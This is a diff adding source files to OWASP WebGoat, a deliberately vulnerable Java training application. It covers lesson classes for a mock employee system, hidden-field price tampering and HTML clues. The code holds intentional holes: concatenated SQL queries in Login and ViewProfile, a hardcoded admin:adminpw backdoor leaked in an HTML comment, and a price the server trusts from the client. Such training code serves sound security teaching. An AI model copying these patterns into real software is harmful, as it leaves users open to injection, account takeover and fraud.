try + { + employeeId = s.getParser().getIntParameter( + GoatHillsFinancial.EMPLOYEE_ID); + String password = s.getParser().getStringParameter( + GoatHillsFinancial.PASSWORD); + + // Attempt authentication + if (login(s, employeeId, password)) + { + // Execute the chained Action if authentication succeeded. + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + s.setMessage("Login failed"); + } + catch (ParameterNotFoundException pnfe) + { + // No credentials offered, so we log them out + setSessionAttribute(s, getLessonName() + ".isAuthenticated", + Boolean.FALSE); + } + } + + + /** + * After this.handleRequest() is called, when the View asks for the current JSP to load, + * it will get one initialized by this call. + */ + public String getNextPage(WebSession s) + { + String nextPage = GoatHillsFinancial.LOGIN_ACTION; + + if (isAuthenticated(s)) + nextPage = chainedAction.getNextPage(s); + + return nextPage; + + } + + + public boolean requiresAuthentication() + { + return false; + } + + + public boolean login(WebSession s, int userId, String password) + { + //System.out.println("Logging in to lesson"); + boolean authenticated = false; + + try + { + String query = "SELECT * FROM employee WHERE userid = " + userId + + " and password = '" + password + "'"; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.first()) + { + setSessionAttribute(s, + getLessonName() + ".isAuthenticated", Boolean.TRUE); + setSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID, Integer + .toString(userId)); + authenticated = true; + } + + } + catch (SQLException sqle) + { + s.setMessage("Error logging in"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error logging in"); + e.printStackTrace(); + } + + //System.out.println("Lesson login result: " + authenticated); + return authenticated; + } + + + public List getAllEmployees(WebSession s) + { + List employees = new Vector(); + + // Query the database for all roles the given employee belongs to + // Query the database for all employees "owned" by these roles + + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " + + "where employee.userid=roles.userid"; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, + lastName, role); + employees.add(stub); + } + } + catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } + + return employees; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java new file mode 100755 index 000000000..c02c3cef6 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java @@ -0,0 +1,84 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class Logout extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, + LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + ValidationException + { + //System.out.println("Logging out"); + + setSessionAttribute(s, getLessonName() + ".isAuthenticated", + Boolean.FALSE); + + // FIXME: Maybe we should forward to Login. + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + + } + + + public String getNextPage(WebSession s) + { + return chainedAction.getNextPage(s); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java new file mode 100755 index 000000000..7113b4c76 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class SearchStaff extends DefaultLessonAction +{ + + public SearchStaff(GoatHillsFinancial lesson, String lessonName, + String actionName) + { + super(lesson, lessonName, actionName); + } + + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.SEARCHSTAFF_ACTION; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java new file mode 100755 index 000000000..487ef3180 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java @@ -0,0 +1,247 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class UpdateProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID); + + int subjectId = s.getParser().getIntParameter( + GoatHillsFinancial.EMPLOYEE_ID, 0); + + String firstName = s.getParser().getStringParameter( + GoatHillsFinancial.FIRST_NAME); + String lastName = s.getParser().getStringParameter( + GoatHillsFinancial.LAST_NAME); + String ssn = s.getParser().getStringParameter( + GoatHillsFinancial.SSN); + String title = s.getParser().getStringParameter( + GoatHillsFinancial.TITLE); + String phone = s.getParser().getStringParameter( + GoatHillsFinancial.PHONE_NUMBER); + String address1 = s.getParser().getStringParameter( + GoatHillsFinancial.ADDRESS1); + String address2 = s.getParser().getStringParameter( + GoatHillsFinancial.ADDRESS2); + int manager = s.getParser().getIntParameter( + GoatHillsFinancial.MANAGER); + String startDate = s.getParser().getStringParameter( + GoatHillsFinancial.START_DATE); + int salary = s.getParser().getIntParameter( + GoatHillsFinancial.SALARY); + String ccn = s.getParser().getStringParameter( + GoatHillsFinancial.CCN); + int ccnLimit = s.getParser().getIntParameter( + GoatHillsFinancial.CCN_LIMIT); + String disciplinaryActionDate = s.getParser().getStringParameter( + GoatHillsFinancial.DISCIPLINARY_DATE); + String disciplinaryActionNotes = s.getParser().getStringParameter( + GoatHillsFinancial.DISCIPLINARY_NOTES); + String personalDescription = s.getParser().getStringParameter( + GoatHillsFinancial.DESCRIPTION); + + Employee employee = new Employee(subjectId, firstName, lastName, + ssn, title, phone, address1, address2, manager, startDate, + salary, ccn, ccnLimit, disciplinaryActionDate, + disciplinaryActionNotes, personalDescription); + + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ID, Integer + .toString(subjectId)); + } + else + this.createEmployeeProfile(s, userId, employee); + + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.VIEWPROFILE_ACTION; + } + + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, + Employee employee) throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement + .executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } + catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + catch (ClassNotFoundException e) + { + // TODO Auto-generated catch block + e.printStackTrace(); + } + return uid + 1; + } + + public void createEmployeeProfile(WebSession s, int userId, + Employee employee) throws UnauthorizedException + { + try + { + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); + + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java new file mode 100755 index 000000000..baae6aa7a --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java @@ -0,0 +1,146 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class ViewProfile extends DefaultLessonAction +{ + + public ViewProfile(GoatHillsFinancial lesson, String lessonName, + String actionName) + { + super(lesson, lessonName, actionName); + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID); + int employeeId = -1; + try + { + // User selected employee + employeeId = s.getParser().getIntParameter( + GoatHillsFinancial.EMPLOYEE_ID); + } + catch (ParameterNotFoundException e) + { + // May be an internally selected employee + employeeId = getIntRequestAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ID); + } + + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); + + } + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.VIEWPROFILE_ACTION; + } + + + protected Employee getEmployeeProfile(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + + subjectUserId; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java new file mode 100644 index 000000000..8d11272b3 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java @@ -0,0 +1,242 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Pattern; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 +*/ +public class HiddenFieldTampering extends LessonAdapter +{ + public final static A ASPECT_LOGO = + new A().setHref("http://www.aspectsecurity.com").addElement( + new IMG("images/logos/aspect.jpg") + .setAlt("Aspect Security").setBorder(0) + .setHspace(0).setVspace(0)); + + private final static String PRICE = "Price"; + + private final static String PRICE_TV = "2999.99"; + + private final static String PRICE_TV_HACKED = "9.99"; + + String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit! + Pattern pattern1 = Pattern.compile(regex); + String lineSep = System.getProperty("line.separator"); + String script = + "" + lineSep; + + /** + * Constructor for the HiddenFieldScreen object + */ + public HiddenFieldTampering() + { + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + ec.addElement(new StringElement(script)); + float quantity; + float total; + String price = PRICE_TV; + try + { + price = s.getParser().getRawParameter(PRICE, PRICE_TV); + quantity = s.getParser().getFloatParameter("QTY", 1.0f); + total = quantity * Float.parseFloat(price); + } + catch (Exception e) + { + s.setMessage("Invaild data " + this.getClass().getName()); + price = PRICE_TV; + quantity = 1.0f; + total = quantity * Float.parseFloat(PRICE_TV); + + } + + if (price.equals(PRICE_TV)) + { + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + ec.addElement(new BR()); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); + tr.addElement(new TH().addElement("Price:").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity:").setWidth("3%")); + tr.addElement(new TH().addElement("Total").setWidth("7%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)")); + tr.addElement(new TD().addElement(PRICE_TV).setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1)).setAlign("right")); + tr.addElement(new TD().addElement("$" + total)); + t.addElement(tr); + + ec.addElement(t); + + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + ec.addElement(new BR()); + tr = new TR(); + tr.addElement(new TD().addElement("The total charged to your credit card:")); + tr.addElement(new TD().addElement("$" + total)); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart"))); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Purchase", "validate()"))); + t.addElement(tr); + + ec.addElement(t); + + Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV); + ec.addElement(input); + ec.addElement(new BR()); + + } else + { + if (!price.toString().equals(PRICE_TV)) + { + makeSuccess(s); + } + + ec.addElement(new P().addElement("Your total price is:")); + ec.addElement(new B("$" + total)); + ec.addElement(new BR()); + ec.addElement(new P().addElement("This amount will be charged to your credit card immediately.")); + } + + return (ec); + } + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.UNVALIDATED_PARAMETERS; + } + + /** + * Gets the hints attribute of the HiddenFieldScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("This application is using hidden fields to transmit price information to the server."); + hints.add("Use a program to intercept and change the value in the hidden field."); + hints + .add("Use WebScarab to change the price of the TV from " + + PRICE_TV + " to " + PRICE_TV_HACKED + "."); + + return hints; + } + + /** + * Gets the instructions attribute of the HiddenFieldTampering object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = + "Try to purchase the HDTV for less than the purchase price, if you have not done so already."; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(50); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the HiddenFieldScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Exploit Hidden Fields"); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java new file mode 100644 index 000000000..a18af7a8f --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java @@ -0,0 +1,260 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.Comment; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; + +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @created October 28, 2003 + */ +public class HtmlClues extends LessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; + + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + private boolean backdoor(WebSession s) + { + String username = s.getParser().getRawParameter(USERNAME, ""); + String password = s.getParser().getRawParameter(PASSWORD, ""); + + // + return (username.equals("admin") && password.equals("adminpw")); + // + } + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + // + ec.addElement(new Comment("FIXME admin:adminpw")); + // + ec.addElement(new Comment("Use Admin to regenerate database")); + + if (backdoor(s)) + { + makeSuccess(s); + + s.setMessage("BINGO -- admin authenticated"); + ec.addElement(makeUser(s, "jsnow", "CREDENTIALS")); + } + else + { + ec.addElement(makeLogin(s)); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } + + return (ec); + } + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @param user Description of the Parameter + * @param method Description of the Parameter + * @return Description of the Return Value + * @exception Exception Description of the Exception + */ + protected Element makeUser(WebSession s, String user, String method) + throws Exception + { + ElementContainer ec = new ElementContainer(); + ec.addElement(new P().addElement("Welcome, " + user)); + ec.addElement(new P().addElement("You have been authenticated with " + + method)); + + return (ec); + } + + + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("Sign In ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr + .addElement(new TH() + .addElement( + "Please sign in to your account. See the OWASP admin if you do not have an account.") + .setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new B(new StringElement("*User Name: ")))); + row2.addElement(new TD(new B(new StringElement("*Password: ")))); + + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); + + Element b = ECSFactory.makeButton("Login"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + + + /** + * Gets the hints attribute of the CluesScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints + .add("You can view the HTML source by selecting 'view source' in the browser menu."); + hints.add("There are lots of clues in the HTML"); + hints + .add("Search for the word HIDDEN, look at URLs, look for comments."); + + return hints; + } + + + /** + * Gets the instructions attribute of the HtmlClues object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in."; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(30); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the category attribute of the FailOpenAuthentication object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.CODE_QUALITY; + } + + + /** + * Gets the title attribute of the CluesScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Discover Clues in the HTML"); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java new file mode 100644 index 000000000..8836562c8 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java @@ -0,0 +1,136 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Input; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For 